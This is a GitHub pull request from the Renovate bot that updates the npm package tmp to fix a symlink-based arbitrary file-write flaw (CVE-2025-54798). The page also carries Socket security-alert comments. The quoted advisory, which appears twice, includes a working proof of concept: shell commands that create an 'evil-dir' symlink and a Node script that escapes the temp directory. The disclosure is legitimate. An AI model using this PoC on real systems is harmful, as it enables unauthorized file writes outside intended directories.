Skip to content

Update dependency tmp to ^0.2.0 [SECURITY]#11469

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-tmp-vulnerability
Open

Update dependency tmp to ^0.2.0 [SECURITY]#11469
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-tmp-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Aug 6, 2025 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
tmp ^0.1.0 → ^0.2.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Severity
  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

tmp allows arbitrary temporary file / directory write via symbolic link dir parameter

CVE-2025-54798 / GHSA-52f5-9888-hmc6

More information

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}
PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}
Impact

Arbitrary temporary file / directory write via symlink

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source

v0.2.3

Compare Source

v0.2.2

Compare Source

🐛 Bug Fix
📝 Documentation
Committers: 5

v0.2.1

Compare Source

🚀 Enhancement
🏠 Internal
Committers: 1

v0.2.0

Compare Source

🚀 Enhancement
🐛 Bug Fix
📝 Documentation
🏠 Internal
Committers: 2

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the type:security Impacts security label Aug 6, 2025
@renovate renovate bot requested a review from a team as a code owner August 6, 2025 22:05
@renovate renovate bot added the type:security Impacts security label Aug 6, 2025
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from 7ddeb34 to f8461fc Compare August 10, 2025 15:24
@socket-security
Copy link
Copy Markdown

socket-security bot commented Aug 10, 2025 •
edited
Loading

Caution

Review the following alerts detected in dependencies.

According to your organization's Security Policy, you must resolve all "Block" alerts before proceeding. It is recommended to resolve "Warn" alerts too. Learn more about Socket for GitHub.

Action Severity Alert  (click "▶" to expand/collapse)
Block Medium
@parcel/watcher@2.0.4 has Native code.

Location: Package overview

From: yarn.lock → npm/@parcel/watcher@2.0.4

ℹ Read more on: This package | This alert | Why is native code a concern?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Verify that the inclusion of native code is expected and necessary for this package's functionality. If it is unnecessary or unexpected, consider using alternative packages without native code to mitigate potential risks.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@parcel/watcher@2.0.4. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Block Medium
keccak@1.4.0 has Native code.

Location: Package overview

From: yarn.lock → npm/keccak@1.4.0

ℹ Read more on: This package | This alert | Why is native code a concern?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Verify that the inclusion of native code is expected and necessary for this package's functionality. If it is unnecessary or unexpected, consider using alternative packages without native code to mitigate potential risks.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/keccak@1.4.0. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Block Medium
keccak@1.4.0 has Install scripts.

Install script: install

Source: npm run rebuild || echo "Keccak bindings compilation fail. Pure JS implementation will be used."

From: yarn.lock → npm/keccak@1.4.0

ℹ Read more on: This package | This alert | What is an install script?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/keccak@1.4.0. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Block Medium
nx@15.9.2 has Install scripts.

Install script: postinstall

Source: node ./bin/compute-project-graph

From: yarn.lock → npm/nx@15.9.2

ℹ Read more on: This package | This alert | What is an install script?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/nx@15.9.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Block Low
@lerna/child-process@5.6.2 is a AI-detected potential code anomaly.

Notes: No malicious behavior detected in the provided code. It is a straightforward process-management utility with logging enhancements. The potential risk comes from the general capability to execute arbitrary commands, which is inherent to such tools; there is no evidence of data exfiltration, backdoors, hardcoded secrets, or obfuscated intent. The code is readable, auditable, and does not appear to contain malicious patterns.

Confidence: 1.00

Severity: 0.60

From: yarn.lock → npm/@lerna/child-process@5.6.2

ℹ Read more on: This package | This alert | What is an AI-detected potential code anomaly?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: An AI system found a low-risk anomaly in this package. It may still be fine to use, but you should check that it is safe before proceeding.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@lerna/child-process@5.6.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Block Low
eslint-plugin-import@2.29.1 is a AI-detected potential code anomaly.

Notes: The source code is intended to be a linting rule for JavaScript projects, but the use of _vm2['default'].runInNewContext() to execute comment contents dynamically is potentially dangerous.

Confidence: 1.00

Severity: 0.60

From: package.json → npm/eslint-plugin-import@2.29.1

ℹ Read more on: This package | This alert | What is an AI-detected potential code anomaly?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: An AI system found a low-risk anomaly in this package. It may still be fine to use, but you should check that it is safe before proceeding.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/eslint-plugin-import@2.29.1. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn Critical
form-data@4.0.0 has a Critical CVE.

CVE: GHSA-fjxv-7rqg-78g4 form-data uses unsafe random function in form-data for choosing boundary (CRITICAL)

Affected versions: < 2.5.4; >= 3.0.0 < 3.0.4; >= 4.0.0 < 4.0.4

Patched version: 4.0.4

From: packages/protocol/package.json → npm/form-data@4.0.0

ℹ Read more on: This package | This alert | What is a critical CVE?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Remove or replace dependencies that include known critical CVEs. Consumers can use dependency overrides or npm audit fix --force to remove vulnerable dependencies.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/form-data@4.0.0. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from f8461fc to e8becb6 Compare August 12, 2025 10:00
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 2 times, most recently from 4121f56 to 3ec59e3 Compare August 21, 2025 12:47
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 2 times, most recently from 5b3a268 to b2caadf Compare August 28, 2025 13:21
@socket-security
Copy link
Copy Markdown

socket-security bot commented Aug 28, 2025 •
edited
Loading

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Addedform-data@​4.0.0992510092100
Added@​nrwl/​nx-darwin-arm64@​15.9.21001003483100
Added@​nrwl/​nx-darwin-x64@​15.9.21001003483100
Added@​nrwl/​nx-linux-arm-gnueabihf@​15.9.21001003483100
Added@​nrwl/​nx-linux-arm64-gnu@​15.9.21001003483100
Added@​nrwl/​nx-linux-arm64-musl@​15.9.21001003483100
Added@​nrwl/​nx-linux-x64-gnu@​15.9.21001003483100
Added@​nrwl/​nx-linux-x64-musl@​15.9.21001003483100
Added@​nrwl/​nx-win32-arm64-msvc@​15.9.21001003483100
Added@​nrwl/​nx-win32-x64-msvc@​15.9.21001003483100
Addednumber-is-nan@​1.0.1671005751100
Addedhas@​1.0.3671005951100
Updatednode-releases@​2.0.6 ⏵ 2.0.1010010041 -977100
Addedisarray@​2.0.5671006351100
Addedside-channel@​1.0.4671006552100
Addedhas-proto@​1.0.1671007152100
Addedarray-buffer-byte-length@​1.0.0671007351100
Updatedgopd@​1.2.0 ⏵ 1.0.16710075 -152100
Addedis-interactive@​1.0.0671007851100
Addedglobalthis@​1.0.3671008951100
Addedhas-property-descriptors@​1.0.0671007851100
Addedhas-tostringtag@​1.0.0671008051100
Addedobject.groupby@​1.0.1671009351100
Addedsafe-regex-test@​1.0.0671007651100
Addeddefine-properties@​1.2.0671009351100
Addedfunctions-have-names@​1.2.3671007751100
Addedset-function-length@​1.2.0661008451100
Addedobject.fromentries@​2.0.7671008151100
Addedaggregate-error@​3.1.0671008551100
Addedhasown@​2.0.0671007652100
Addedis-negative-zero@​2.0.2671007951100
Addedindent-string@​4.0.0671008851100
Addedget-symbol-description@​1.0.0671007951100
Addedis-date-object@​1.0.5671008151100
See 622 more rows in the dashboard

View full report

@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from b2caadf to 9b09b24 Compare August 28, 2025 14:40
@Mc01 Mc01 added the deps Is about dependencies label Sep 10, 2025
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 6 times, most recently from df8df4d to cf90431 Compare September 18, 2025 11:52
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 3 times, most recently from b42ae6b to 793e6ad Compare September 25, 2025 11:12
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 3 times, most recently from c960b5a to 146c59d Compare October 2, 2025 15:24
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch 3 times, most recently from d3d18d6 to be7d97c Compare October 20, 2025 14:00
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from be7d97c to 9d468e1 Compare October 27, 2025 13:47
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from 9d468e1 to b49ff69 Compare December 9, 2025 19:20
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from b49ff69 to 9e3dca8 Compare December 9, 2025 19:40
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from 9e3dca8 to b4a7c1f Compare December 9, 2025 20:17
@renovate renovate bot changed the title chore(deps): update dependency tmp to ^0.2.0 [security] Update dependency tmp to ^0.2.0 [SECURITY] Dec 9, 2025
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from b4a7c1f to 69a0cc8 Compare December 16, 2025 12:56
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from 69a0cc8 to bfee486 Compare January 5, 2026 11:00
@renovate
chore(deps): update dependency tmp to ^0.2.0 [security]
136da30 
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from bfee486 to 136da30 Compare April 7, 2026 13:20
@renovate renovate bot changed the title Update dependency tmp to ^0.2.0 [SECURITY] chore(deps): update dependency tmp to ^0.2.0 [security] Apr 7, 2026
@renovate renovate bot changed the title chore(deps): update dependency tmp to ^0.2.0 [security] Update dependency tmp to ^0.2.0 [SECURITY] Apr 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

deps Is about dependencies type:security Impacts security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@Mc01